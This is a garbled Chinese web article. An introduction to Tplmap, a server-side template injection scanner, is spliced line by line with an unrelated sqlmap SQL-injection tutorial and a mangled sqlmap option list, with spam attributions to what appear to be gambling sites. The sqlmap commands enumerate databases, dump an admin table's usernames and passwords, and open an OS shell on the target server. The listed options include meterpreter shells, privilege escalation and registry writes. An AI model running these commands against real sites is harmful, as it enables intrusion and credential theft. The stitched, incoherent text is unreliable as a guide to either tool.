扫描服务器端模板注入漏洞的开源工具,注入神

作者:www.8722.com

原标题:Tplmap - 扫描服务器端模板注入漏洞的开源工具

1、查询数据

Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),Jave(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

./sqlmap.py -u “ sqlmap 提示 do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n]  选 y

安装Tplmap

提示参数 id 有漏洞,是否要保持其它测试,按 y 回车确定 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

图片 1

获取所有数据库名 因为已经知道数据库名为微软的 sql server,为了加快检测速度,指定数据库参数 --dbms=mssql ./sqlmap.py -u "" --dbms=mssql --dbs

可以通过使用以下github链接从github存储库克隆该工具来安装Tplmap。

当前网页连接数据库名 ./sqlmap.py -u "" --dbms=mssql --current-db

git clone

指定数据库所有表 ./sqlmap.py -u "" --dbms=mssql --table -D "testdb"

成功安装后,将目录路径更改为tplmap安装文件以启动tplmap.py。

读取指定表中的字段名 ./sqlmap.py -u "" --dbms=mssql -D "testdb" -T "admin" --columns

测试Web应用程序中的漏洞

读取指定字段内容 ./sqlmap.py -u "" --dbms=mssql -D "testdb" -T "admin" --dump -C "username,password"

Tplmap不仅利用了文件系统的漏洞,而且还具有使用不同参数访问底层操作系统的能力。以下屏幕截图显示了可用于访问操作系统的不同参数选项

2、执行系统命令

图片 2

./sqlmap.py -u "" --dbms=mssql --os-shell --threads=10

以下命令可用于测试目标URL中的易受攻击的参数。

3、常见参数

./tplmap.py -u <'目标网址'>

注入点 HTTP 指定请求方法检测 POST --data="password=88952634&rem=on&username=88952634"

执行该命令后,该工具会针对多个插件测试目标URL以查找代码注入机会。

Cookie --cookie "cookie value" 登录检测

图片 3

注入查询数据技术 --technique=U  指定 Union 技术

如果发现漏洞,该工具将输出有关目标中可能注入点的详细信息。这些包括GET参数值(无论是id还是名称),模板引擎(例如Tornado),OS(例如Linux)和注入技术(例如渲染,盲)。

注入 HTTP 所有方法注入检测 --level3  检测 HTTP 方法深度,GET、POST、Cookie、User-agent 和 Referer

图片 4

Base64 编码 url 注入点 sqlmap -u --tamper base64encode.py

对于易受攻击的目标操作系统,可以使用前面提到的其中一个参数重新运行tplmap命令。例如,我们可以通过以下方式将-os -shell选项与tplmap命令一起使用。

检测 DBMS 当前用户是否 DBA(注入点执行操作系统命令一般需要 DBA 权限) --is-dba

./tplmap.py --os-shell -u <'目标网址'>

从不询问用户输入,使用所有默认配置 --batch

-os -shell选项在目标操作系统上启动伪终端以执行所需的代码。

默认最大线程数为 10 --threads=10

文章出处:latesthackingnews返回搜狐,查看更多

  1. #HiRoot's Blog  

责任编辑:

 2. Options(选项):  

 3. --version 显示程序的版本号并退出 

 4. -h, --help 显示此帮助消息并退出

  5. -v VERBOSE 详细级别:0-6(默认为 1)

6.    7. Target(目标): 

 8. 以下至少需要设置其中一个选项,设置目标 URL。

9.   

 10. -d DIRECT 直接连接到数据库。 

 11. -u URL, --url=URL 目标 URL。 

 12. -l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。

  13. -r REQUESTFILE 从一个文件中载入 HTTP 请求。 

 14. -g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。

  15. -c CONFIGFILE 从 INI 配置文件中加载选项。

16.    

  1. Request(请求)

  2. 这些选项可以用来指定如何连接到目标 URL。

19.   

 20. --data=DATA 通过 POST 发送的数据字符串  

  1. --cookie=COOKIE HTTP Cookie 头 

 22. --cookie-urlencode URL 编码生成的 cookie 注入 

 23. --drop-set-cookie 忽略响应的 Set - Cookie 头信息 

 24. --user-agent=AGENT 指定 HTTP User - Agent 头 

 25. --random-agent 使用随机选定的 HTTP User - Agent 头

  26. --referer=REFERER 指定 HTTP Referer 头  

  1. --headers=HEADERS 换行分开,加入其他的 HTTP 头

  28. --auth-type=ATYPE HTTP 身份验证类型(基本,摘要或 NTLM)

(Basic, Digest or NTLM) 

 29. --auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)

  30. --auth-cert=ACERT HTTP 认证证书(key_file,cert_file)

  31. --proxy=PROXY 使用 HTTP 代理连接到目标 URL

  1. --proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码) 

 33. --ignore-proxy 忽略系统默认的 HTTP 代理 

 34. --delay=DELAY 在每个 HTTP 请求之间的延迟时间,单位为秒 

 35. --timeout=TIMEOUT 等待连接超时的时间(默认为 30 秒) 

 36. --retries=RETRIES 连接超时后重新连接的时间(默认 3)

  37. --scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式 

 38. --safe-url=SAFURL 在测试过程中经常访问的 url 地址  

  1. --safe-freq=SAFREQ 两次访问之间测试请求,给出安全的 URL

40.    41. Optimization(优化):

  42. 这些选项可用于优化 SqlMap 的性能。

43.   

 44. -o 开启所有优化开关  

 45. --predict-output 预测常见的查询输出

  46. --keep-alive 使用持久的 HTTP(S)连接 

 47. --null-connection 从没有实际的 HTTP 响应体中检索页面长度 

 48. --threads=THREADS 最大的 HTTP(S)请求并发量(默认为 1)

49.    50. Injection(注入):  

 51. 这些选项可以用来指定测试哪些参数, 提供自定义的注入 payloads 和可选篡改脚 本。

52.   

 53. -p TESTPARAMETER 可测试的参数(S)  

  1. --dbms=DBMS 强制后端的 DBMS 为此值 

 55. --os=OS 强制后端的 DBMS 操作系统为这个值

  1. --prefix=PREFIX 注入 payload 字符串前缀 

 57. --suffix=SUFFIX 注入 payload 字符串后缀  

  1. --tamper=TAMPER 使用给定的脚本(S)篡改注入数据

59.    60. Detection(检测): 

 61. 这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。

62.   

 63. --level=LEVEL 执行测试的等级(1-5,默认为 1)

  64. --risk=RISK 执行测试的风险(0-3,默认为 1)

 65. --string=STRING 查询时有效时在页面匹配字符串

  1. --regexp=REGEXP 查询时有效时在页面匹配正则表达式 

 67. --text-only 仅基于在文本内容比较网页

68.    69. Techniques(技巧):  

 70. 这些选项可用于调整具体的 SQL 注入测试。

71.    72. --technique=TECH SQL 注入技术测试(默认 BEUST) 

 73. --time-sec=TIMESEC DBMS 响应的延迟时间(默认为 5 秒) 

 74. --union-cols=UCOLS 定列范围用于测试 UNION 查询注入  

  1. --union-char=UCHAR 用于暴力猜解列数的字符

76.    77. Fingerprint(指纹): 

 78. -f, --fingerprint 执行检查广泛的 DBMS 版本指纹

79.    80. Enumeration(枚举):

  81. 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您 还可以运行您自己

  1. 的 SQL 语句。 

 83. -b, --banner 检索数据库管理系统的标识 

 84. --current-user 检索数据库管理系统当前用户 

 85. --current-db 检索数据库管理系统当前数据库 

 86. --is-dba 检测 DBMS 当前用户是否 DBA 

 87. --users 枚举数据库管理系统用户

  88. --passwords 枚举数据库管理系统用户密码哈希 

 89. --privileges 枚举数据库管理系统用户的权限 

 90. --roles 枚举数据库管理系统用户的角色 

 91. --dbs 枚举数据库管理系统数据库  

 92. --tables 枚举的 DBMS 数据库中的表 

 93. --columns 枚举 DBMS 数据库表列 

 94. --dump 转储数据库管理系统的数据库中的表项  

  1. --dump-all 转储所有的 DBMS 数据库表中的条目 

 96. --search 搜索列(S),表(S)和/或数据库名称(S)

  97. -D DB 要进行枚举的数据库名  

 98. -T TBL 要进行枚举的数据库表  

 99. -C COL 要进行枚举的数据库列

  1. -U USER 用来进行枚举的数据库用户  

  2. --exclude-sysdbs 枚举表时排除系统数据库  

  3. --start=LIMITSTART 第一个查询输出进入检索  

  4. --stop=LIMITSTOP 最后查询的输出进入检索  

  5. --first=FIRSTCHAR 第一个查询输出字的字符检索  

  6. --last=LASTCHAR 最后查询的输出字字符检索  

 106. --sql-query=QUERY 要执行的 SQL 语句 

 107. --sql-shell 提示交互式 SQL 的 shell

108.    109. Brute force(蛮力):  

 110. 这些选项可以被用来运行蛮力检查。

111.    112. --common-tables 检查存在共同表  

 113. --common-columns 检查存在共同列

114.    115. User-defined function injection(用户自定义函数注入):

  1. 这些选项可以用来创建用户自定义函数。

117.    118. --udf-inject 注入用户自定义函数  

 119. --shared-lib=SHLIB 共享库的本地路径

120.    121. File system access(访问文件系统): 

 122. 这些选项可以被用来访问后端数据库管理系统的底层文件系统。

123.    124. --file-read=RFILE 从后端的数据库管理系统文件系统读取文件 

  1. --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 
  2. --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

127.    128. Operating system access(操作系统访问): 

 129. 这些选项可以用于访问后端数据库管理系统的底层操作系统。

130.    131. --os-cmd=OSCMD 执行操作系统命令  

 132. --os-shell 交互式的操作系统的 shell  

 133. --os-pwn 获取一个 OOB shell,meterpreter 或 VNC  

  1. --os-smbrelay 一键获取一个 OOB shell,meterpreter 或 VNC

  2. --os-bof 存储过程缓冲区溢出利用  

 136. --priv-esc 数据库进程用户权限提升  

 137. --msf-path=MSFPATH Metasploit Framework 本地的安装路径  

  1. --tmp-path=TMPPATH 远程临时文件目录的绝对路径

139.    140. Windows 注册表访问: 

 141. 这些选项可以被用来访问后端数据库管理系统 Windows 注册表。

142.    143. --reg-read 读一个 Windows 注册表项值 

  1. --reg-add 写一个 Windows 注册表项值数据  

  2. --reg-del 删除 Windows 注册表键值 

 146. --reg-key=REGKEY Windows 注册表键  

  1. --reg-value=REGVAL Windows 注册表项值  

  2. --reg-data=REGDATA Windows 注册表键值数据  

 149. --reg-type=REGTYPE Windows 注册表项值类型

150.    151. General(一般):

152.    153. 这些选项可以用来设置一些一般的工作参数。 

  1. -t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中 

 155. -s SESSIONFILE 保存和恢复检索会话文件的所有数据  

  1. --flush-session 刷新当前目标的会话文件 

 157. --fresh-queries 忽略在会话文件中存储的查询结果  

  1. --eta 显示每个输出的预计到达时间  

 159. --update 更新 SqlMap  160. --save file 保存选项到 INI 配置文件 

 161. --batch 从不询问用户输入,使用所有默认配置。

162.    163. Miscellaneous(杂项): 

 164. --beep 发现 SQL 注入时提醒

  165. --check-payload IDS 对注入 payloads 的检测测试  

 166. --cleanup SqlMap 具体的 UDF 和表清理 DBMS  

  1. --forms 对目标 URL 的解析和测试形式 

 168. --gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果  

 169. --page-rank Google dork 结果显示网页排名(PR)

  1. --parse-errors 从响应页面解析数据库管理系统的错误消息

  171. --replicate 复制转储的数据到一个 sqlite3 数据库  

 172. --tor 使用默认的 Tor(Vidalia/ Privoxy/ Polipo)代理地址  

  1. --wizard 给初级用户的简单向导界面

本文由太阳2007娱乐官方网站发布,转载请注明来源

关键词: